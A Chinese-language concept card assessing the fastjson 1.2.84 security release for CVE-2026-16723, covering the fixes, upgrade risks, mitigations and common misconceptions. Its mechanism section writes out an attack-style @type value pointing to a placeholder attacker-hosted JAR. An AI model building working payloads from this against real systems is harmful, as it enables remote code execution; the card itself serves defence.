主题
概念卡片:fastjson 反序列化安全与 1.2.84 升级评估
基于官方发布说明(fastjson 1.2.84 Release Notes,2026-07-29)与官方安全公告(CVE-2026-16723 / GHSA-crf3-v9rr-v7hj)逐项分析。所有事实均可溯源到一手官方资料。
一句话机制
fastjson 通过 JSON 中的 @type 字段指定反序列化目标 Java 类(AutoType 能力)。1.2.68 之后为增强安全性引入一道预检:解析 @type 类名时先 getResourceAsStream 探测该类是否标注 @JSONType 注解,命中即判为"可信类"放行。攻击者正是把 @type 构造为远程 JAR 的 URI(如 jar:http://攻击者/evil.jar!/EvilClass),在 Spring Boot fat-jar 类加载器下该 URL 可被解析,fastjson 预检阶段会去拉取远程 JAR,恶意类的 static {} 在类加载时直接执行——这是 1.2.84 修复的根因路径。
不变量:AutoType 关掉 ≠ 安全。这次官方确认默认关掉 AutoType + 关掉 SafeMode 仍能走通该危险路径。
1. 1.2.84 相比前一版本(1.2.83)的更新内容
1.2.83 发布于 2022-05(原为 CVE-2022-25845 的修复终点),此后 1.x 分支 4 年无任何提交。1.2.84(2026-07-29,Tag 72553ed)是为 CVE-2026-16723 专门破例发布的安全修复版,将 fastjson2 的 AutoType 加固回移到 1.2.x 线。该版本无功能/特性变更、无业务 Bug 修复,仅含以下 4 条安全修复(官方原文逐项):
| # | 修复项(官方 Security Fixes) | 解决的问题 |
|---|---|---|
| 1 | 在 ParserConfig.checkAutoType 和 TypeUtils.loadClass 中拒绝包含 URL 特殊字符 :/! 的类型名 | 非类名的字符串不再能到达资源探测 / 类加载器(即堵死 jar:http://... 攻击入口) |
| 2 | 白名单 hash 命中后增加 accept 名称文本回验 | 仅靠 hash 碰撞无法再白名单放行一个类型名 |
| 3 | accept 前缀不再覆盖 ClassLoader/DataSource/RowSet 等危险基类 | 只有完整类名的 accept 条目才视为显式放行,缩小 gadget 基类误放行面 |
| 4 | 修复危险类在黑名单检查前被 loadClass 缓存的问题 | 此前重复调用 checkAutoType 可能从缓存直接返回黑名单类 |
2. 修复的安全问题 / 缺陷(对应 CVE)
CVE-2026-16723 — fastjson 1.2.68 ~ 1.2.83 远程代码执行(RCE)
| 项 | 内容 |
|---|---|
| 严重等级 | 🔴 Critical(CVSS 9.0–9.2,不同评分体系/来源略有差异;CWE-20 输入验证不当 / CWE-502 不可信数据反序列化) |
| 影响版本 | fastjson 1.2.68 – 1.2.83(含 1.2.83,即 1.x 最后一个版本) |
| 修复版本 | fastjson 1.2.84 |
| 不受影响 | fastjson2 所有版本(架构上消除根因);SafeMode=true;noneautotype 构建;非 fat-jar 部署;≤ 1.2.60(漏洞代码路径不存在) |
| 触发前置 | 目标以 Spring Boot 可执行 fat-jar(java -jar xxx.jar)部署 —— Spring Boot 最常见部署方式;已在 Spring Boot 2.x/3.x/4.x、JDK 8/11/17/21 端到端验证 |
| 可达入口 | JSON.parse、JSON.parseObject(String)、JSON.parseObject(String, Class) 均可达 |
| 配置要求 | 默认配置即可利用(AutoType OFF + SafeMode OFF,什么都不用开) |
⚠️ 指定目标 Class(如
JSON.parseObject(body, SomeDto.class))不是缓解措施——攻击者可在 DTO 内Object/Map类型字段里嵌套 payload 绕过。
3. 升级到 1.2.84 存在的风险
整体风险偏低,因为这是一个同分支、安全向的窄改动,通常无需改业务代码:
- 类型名含
:/!被拒绝:合法 Java 类名从不含这些字符,正常反序列化不受影响。仅当业务真的用 URL 样式的@type字符串时才会被拦(极罕见)——而那本就是危险用法。 - accept 前缀不再覆盖危险基类:若历史上靠
accept前缀"偷懒"覆盖ClassLoader/DataSource/RowSet,现需改成完整类名显式放行。属于安全收紧,几乎不会命中合法业务。 - 黑名单缓存行为修正:纯安全正向的行为变化。
- 回归面:核心 JSON 序列化/反序列化路径有改动,建议对核心 DTO 的读写做一轮回归测试(与历史升级一样量级的验证即可)。
横向参考:RocketMQ 社区将 fastjson 1.2.83→1.2.84 + fastjson2 2.0.59→2.0.63 的升级做了完整编译/序列化单测/性能基准/E2E 回归,结果 PASS(462 项 E2E 仅 1 跳过、0 失败),可作为"低风险升级"的实证。
4. 是否有必要升级 —— 结论
对绝大多数仍用 fastjson 1.x 的项目:有必要,且优先级 P0。
| 你的处境 | 建议 |
|---|---|
| 用 fastjson 1.x 且版本 ∈ [1.2.68, 1.2.83],并以 fat-jar 部署、解析不可信 JSON | P0 升级 1.2.84(成本最低,通常不改代码) |
| 同上,但暂时排期排不开 | P0 临时开 SafeMode:-Dfastjson.parser.safeMode=true 或 ParserConfig.getGlobalInstance().setSafeMode(true)(应急,会禁用 AutoType,依赖多态序列化处需评估) |
| 同上,想最小改动 + 彻底移除漏洞代码 | 用 com.alibaba:fastjson:1.2.83_noneautotype 变体(编译期移除漏洞代码) |
| 非 fat-jar 部署(普通 classpath / Tomcat·Jetty WAR / uber-jar) | 不满足触发条件,但仍建议升级作纵深防御 |
| 已用 fastjson2 | 本 CVE 不受影响;但保持 ≥ 2.0.63(fastjson2 同日发布含同类 AutoType 加固 + 数字字面量 DoS 修复 + JSONB OOM 修复) |
| 版本 ≤ 1.2.60 | 此漏洞路径不存在,但存在其它历史 CVE,同样应升级 |
中长期:把"迁移到 fastjson2"排入技术债清理(fastjson2 从架构上消除了此漏洞根因——无资源探测、无注解信任绕过、白名单优先、AutoType 默认关闭)。但不必因本 CVE 紧急突击迁移——升 1.2.84 小版本已足够止血。
常见误解(避坑)
- ❌ "我的仓库没收到 Dependabot 告警 = 安全"。→ 1.2.84 是静默发布:release 标题只写「1.2.84版本发布」未标「安全修复」,且对应 GHSA 的
affected字段为空数组,Dependabot 不会对任何人告警。需主动排查版本。 - ❌ "指定 DTO 的 target class 就能防"。→ 官方明确不行,payload 可嵌套进
Object/Map字段。 - ❌ "fastjson2 永远不用管"。→ 本 CVE 不影响 fastjson2,但 fastjson2 ≤ 2.0.62 自身另有 RCE,安全版本是 2.0.63+。
- ❌ "1.2.83 是终点、1.x 已 EOL 无补丁"。→ 2026-07-29 阿里已破例发 1.2.84,该说法已不成立。
- ❌ "fastjson 是传递依赖、我没主动引就安全"。→ 它常被 SDK 捎带进来;
mvn dependency:tree在「只有 fat-jar 无源码」或「被 shade 进厂商 SDK」两种情况下会漏检,需对产物 jar 直接扫描。
关联
- 域地图:A00-百科/Java后端/Java后端
- 原始权威源:fastjson 1.2.84 Release Notes(GitHub)· 安全公告 CVE-2026-16723(GitHub Wiki / Snyk SNYK-JAVA-COMALIBABA-18296111)